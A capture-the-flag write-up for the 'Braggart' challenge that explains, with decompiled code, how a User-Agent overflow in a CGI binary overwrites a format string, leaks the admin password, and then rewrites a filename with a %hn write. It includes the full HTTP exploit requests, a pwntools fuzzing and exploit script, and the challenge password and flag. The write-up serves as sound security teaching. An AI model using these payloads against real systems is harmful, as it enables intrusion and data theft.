Braggart

Format string exploit through HTTPS request

Problem

Description

This guy keeps bragging about keeping us out of his secrets.

It's annoying.

Get the flag please.

https://nessus-braggart.chals.io

I didn't solve this challenge by myself, most of the credit goes to kos0ng and dmcr7 who found the main vulnerability and craft the final exploit. The purpose of this writeup is to strengthen my understanding and hopefully the readers as well. Although the exploit might seem trivial, to properly execute it gave me a new perspective towards the various attack vectors, reconnaissance and information gathering that could be done in a real life scenario.

Sesepuh
Suhu

Solution

Analysis

Visiting the link given, we are shown the following page

Default page

clicking backup will download the binary that seems to be running the website for us. Below is the decompiled main function using ghidra.

Main()
undefined8 main(void){
  int check;
  long in_FS_OFFSET;
  long size;
  char *query;
  char *request_method;
  char *debug_mode;
  char *AdminPass;
  char *x_password;
  char *len;
  char buffer [72];
  
  query = getenv("QUERY_STRING");
  request_method = getenv("REQUEST_METHOD");
  debug_mode = getenv("HTTP_X_DEBUG");
  AdminPass = getenv("AdminPass");
  x_password = getenv("HTTP_X_PASSWORD");
  printf("%s\n\n","Content-Type:text/html");
  if (debug_mode != (char *)0x0) {
    check = atoi(debug_mode);
    if (check == 1) {
      setDebug();
    }
  }
  puts("<TITLE>Secrets</TITLE>");
  len = getenv("CONTENT_LENGTH");
  if (len != (char *)0x0) {
    check = __isoc99_sscanf(len,"%ld",&size);
    if (check == 1) {
      if (size < 0x40) {
        fgets(buffer,(int)size,stdin);
      }
      else {
        printf("<h4>Err:Too much data</h4>");
      }
    }
  }
  if (x_password != (char *)0x0) {
    check = strcmp(AdminPass,x_password);
    if (check == 0) {
      printSecrets();
    }
  }
  printMain();
  return 0;
}

The only way that we can affect the program's behaviour is through the environment variables. To the remote server some of the env are pre-configured and some we can interact through the HTTP header. Below we try to enabled the debug mode, notice it returns more data than before.

Debug mode on

With the help of pwntools we can also interact locally with the binary and set up the environment variables as we wish as we will experiment.

local trial and errors.py
from pwn import *

exe = './sec.bak'
elf = context.binary = ELF(exe, checksec=True)

env = {
        "QUERY_STRING": "",
        "REQUEST_METHOD": "GET",
        "HTTP_X_DEBUG": "1",
        "AdminPass": "unkown",
        "HTTP_X_PASSWORD": "???",
        "REMOTE_ADDR": "<ip>",
        "HTTP_USER_AGENT": ""
}
    
io = process(exe, env=env)  
io.interactive()
printSecrets()
void printSecrets(void){
  int i;
  char *file;
  size_t len;
  char *pwd;
  char *path;
  FILE *fd;
  long in_FS_OFFSET;
  char c;
  
  file = (char *)malloc(8);
  len = strlen(file);
  *(undefined4 *)(file + len) = "brag";
  *(undefined *)((long)(file + len) + 4) = 0;
  pwd = getenv("workingDir");
  path = (char *)malloc(0x40);
  if (debug != 0) {
    printDebugInfo();
  }
  strcat(path,pwd);
  strcat(path,file);
  printf("<pre><h3> secrets : </h3>");
  fd = fopen(path,"r");
  if (fd != (FILE *)0x0) {
    while (c != -1) {
      putchar((int)c);
      i = fgetc(fd);
      c = (char)i;
    }
    fclose(fd);
  }
  printf("</pre>");
}

This function simply opens a file named brag and prints its content. Its seems this is our goal to gain the flag. However in order for program to execute we need to provide the correct password

printDebugInfo()
undefined8 printDebugInfo(void){
  char *env;
  char buffer [1008];
  undefined8 format;
  
  format = 0x7325;
  printf("<pre><h1>debug info</h1>");
  printf("<h3> Remote Addr : </h3>");
  env = getenv("REMOTE_ADDR");
  strcpy(buffer,env);
  printf((char *)&format,env);
  printf("<h3> User Agent : </h3>");
  env = getenv("HTTP_USER_AGENT");
  strcpy(buffer,env);
  printf((char *)&format,env);
  printf("</pre><br><hr><br>");

  return 0;
}

This function takes the some metadata within the HTTP request we made and prints it. However there's two vulnerability here:

  1. Buffer Overflow: considering User-Agent is within our control, we're able to abuse strcpy() and trigger a buffer overflow since there's no check on how length of User-Agent we're able to provide.

  2. Format String: this stems from the buffer overflow, since the string for the format specifier is being loaded from the stack we're able to overwrite it and craft a format string of our own.

Exploitation

Initially we spend much of our time figuring how to bypass the CONTENT-LENGTH check to gain buffer overflow. After discovering the two strong primitives, we start to fuzz the binary and leak the stack and leak the environment variables loaded. Below is the payload used to overwrite the format specifier to leak the stack:

padding * 1008 + %1$p%{offset}$s

local fuzz

We can see at offset 328 we are able to leak the password. Next is just to ran the it against the server, however we want to fuzz around the local offset taking account of different factors such as libc version that could affect the difference between the offset at local and remote.

For example, if our target is at the offset of 325, we would fuzz at the target server between 315 - 335

I will utilise Burpsuite's intruder to fuzz against the remote server

Leaking password against remote server

Now we just need to give the password to the server... right...?

requesting the flag with the correct password

Apparently, the flag is in a different file. At this point, I fuzz a bit more to gain more knowledge I needed to retrieve the flag. Using the same methodology above, were able to gain the following information against the remote server:

  1. Found at offset-325, env AdminPass=xbYP3h7Ua94c

  2. Found at offset-267, the string brag

  3. Found at offset-326, env workingDir=/home/ctf/

Then since we have a format string primitive, we are able to overwrite memory and somehow we need to overwrite brag with flag. Taking a look back at the printSecrets(), the string is being allocated through malloc, and since that pointer is available in the stack at offset 267, we're able to reference that pointer to overwrite the brag string.

Recall since we leaking the stack using $s, which takes pointer to a char. Means if the printed value at 267 is brag, that means the value at that offset is the pointer to the heap that contains the string

Next, to further improve efficiency, since flag in hex is 0x67616c66 or 1734437990 in decimal. It would take quite a long time to print the characters and potentially timing out our request. To get around this, since the last two character i.e ag is the same, we would only need overwrite the first two byte to fl which in hex is 0x6c66 or 27750 in decimal. Thus our final payload would be:

%27750c%267$hn

Final exploit

Appendix

Leak Password
GET /sec.cgi HTTP/1.1
Host: nessus-braggart.chals.io
User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%1$p%325$s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
X-Debug: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Final Exploit
GET /sec.cgi HTTP/1.1
Host: nessus-braggart.chals.io
User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27750c%267$hn
X-Debug: 1
X-Password: xbYP3h7Ua94c
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Local Testing Script
Exploit.py
#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './sec.bak'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'warn'

# =========================================================
#                       FUZZ ENV
# =========================================================
# found remote AdminPass offset at 325
# found local AdminPass offset at 328
# found both (char *) to string 'brag' at 267 
# found remote workingDir=/home/ctf/ at offset 326
AdminPass = "xbYP3h7Ua94c"
for i in range(0, 400):
    payload = b'A'*1008
    payload += f'%1$p %{i}$s'.encode()

    env = {
        "QUERY_STRING": "",
        "REQUEST_METHOD": "",
        "HTTP_X_DEBUG": "1",
        "AdminPass": "SomethingSecure",
        "HTTP_X_PASSWORD": "unknown",
        "REMOTE_ADDR": "127.0.0.1",
        "HTTP_USER_AGENT": payload
    }

    io = process(exe, env=env)
    try: 
        io.recvuntil(b'User Agent : </h3>')
        leak = io.recvuntil(b'</pre>', drop=True).strip()
        warn('leak-%d: %s', i, leak)
        io.close()
    except BaseException or EOFError:
        io.close()
        pass

# =========================================================
#                      FINAL EXPLOIT
# =========================================================
payload = b'A'*1008
payload += f'%27750c%267$hn'.encode()

env = {
    "QUERY_STRING": "",
    "REQUEST_METHOD": "GET",
    "HTTP_X_DEBUG": "1",
    "AdminPass": "xbYP3h7Ua94c",
    "HTTP_X_PASSWORD": "xbYP3h7Ua94c",
    "CONTENT_LENGTH": "",
    "workingDir": "/home/kali/",
    "REMOTE_ADDR": "127.0.0.1",
    "HTTP_USER_AGENT": payload
}

io = process(exe, env=env)
print(io.recv())

io.interactive()

Flag

flag{f0rmat_th3m_str1ngz}

Last updated